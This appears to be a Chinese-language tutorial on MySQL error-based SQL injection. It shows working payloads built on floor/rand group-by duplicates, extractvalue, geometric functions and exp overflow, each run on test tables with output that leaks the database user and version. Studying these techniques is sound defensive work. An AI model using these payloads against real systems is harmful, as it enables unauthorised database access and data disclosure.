select * from admin where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
floor:函数只返回整数部分,小数部分舍弃。
round:函数四舍五入,大于0.5的部分进位,不到则舍弃。
报错注入原理
目前比较常见的几种报错注入的方法都是利用了mysql某些不能称为bug的bug来实现的。
下面就以 rand() 函数来进行说明。mysql的官方文档中对 rand() 函数有特殊的说明:
1 2
RAND() in a WHERE clause is re-evaluated every time the WHERE is executed. You cannot use a column with RAND() values in an ORDER BY clause, because ORDER BY would evaluate the column multiple times. However, you can retrieve rows in random order like this:
因此在mysql中,可以构造一个值不确定而有可重复的字段作为group by的条件字段,这是就可以报出类似于Duplicate entry ‘…’ for key ‘group_key’的错误
测试
1 2 3 4 5 6 7 8
mysql> select * from admin where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
1062 - Duplicate entry 'root@localhost1' for key 'group_key'
mysql> select * from admin where id=1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
1062 - Duplicate entry '5.5.531' for key 'group_key'
extractvalue()
MySQL 5.1.5版本中添加了对XML文档进行查询和修改的函数,分别是ExtractValue()和UpdateXML()
因此在mysql 小于5.1.5中不能用ExtractValue和UpdateXML进行报错注入。
注入语句
1
select * from admin where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
mysql> select * from products where pid=1 and geometrycollection((select * from(select * from(select user())a)b)); 1367 - Illegal non geometric '(select `b`.`user()` from (select 'root@localhost' AS `user()` from dual) `b`)' value found during parsing mysql> select * from products where pid=1 and geometrycollection((select * from(select * from(select version())a)b)); 1367 - Illegal non geometric '(select `b`.`version()` from (select '5.5.48' AS `version()` from dual) `b`)' value found during parsing
mysql> select * from products where pid=1 and multipoint((select * from(select * from(select user())a)b)); 1367 - Illegal non geometric '(select `b`.`user()` from (select 'root@localhost' AS `user()` from dual) `b`)' value found during parsing mysql> select * from products where pid=1 and multipoint((select * from(select * from(select version())a)b)); 1367 - Illegal non geometric '(select `b`.`version()` from (select '5.5.48' AS `version()` from dual) `b`)' value found during parsing
mysql> select * from products where pid=1 and polygon((select * from(select * from(select user())a)b)); 1367 - Illegal non geometric '(select `b`.`user()` from (select 'root@localhost' AS `user()` from dual) `b`)' value found during parsing mysql> select * from products where pid=1 and polygon((select * from(select * from(select version())a)b)); 1367 - Illegal non geometric '(select `b`.`version()` from (select '5.5.48' AS `version()` from dual) `b`)' value found during parsing
mysql> select * from products where pid=1 and multipolygon((select * from(select * from(select user())a)b)); 1367 - Illegal non geometric '(select `b`.`user()` from (select 'root@localhost' AS `user()` from dual) `b`)' value found during parsing mysql> select * from products where pid=1 and multipolygon((select * from(select * from(select version())a)b)); 1367 - Illegal non geometric '(select `b`.`version()` from (select '5.5.48' AS `version()` from dual) `b`)' value found during parsing
mysql> select * from products where pid=1 and linestring((select * from(select * from(select user())a)b)); 1367 - Illegal non geometric '(select `b`.`user()` from (select 'root@localhost' AS `user()` from dual) `b`)' value found during parsing mysql> select * from products where pid=1 and linestring((select * from(select * from(select version())a)b)); 1367 - Illegal non geometric '(select `b`.`version()` from (select '5.5.48' AS `version()` from dual) `b`)' value found during parsing
mysql> select * from products where pid=1 and multilinestring((select * from(select * from(select user())a)b)); 1367 - Illegal non geometric '(select `b`.`user()` from (select 'root@localhost' AS `user()` from dual) `b`)' value found during parsing mysql> select * from products where pid=1 and multilinestring((select * from(select * from(select version())a)b)); 1367 - Illegal non geometric '(select `b`.`version()` from (select '5.5.48' AS `version()` from dual) `b`)' value found during parsing
select * from products where pid=1 and exp(~(select * from(select user())a));
测试
1 2 3 4 5
mysql> select * from products where pid=1 and exp(~(select * from(select user())a)); 1690 - DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
mysql> select * from admin where id=1 and exp(~(select * from(select version())a)); 1690 - DOUBLE value is out of range in 'exp(~((select `a`.`version()` from (select version() AS `version()`) `a`)))'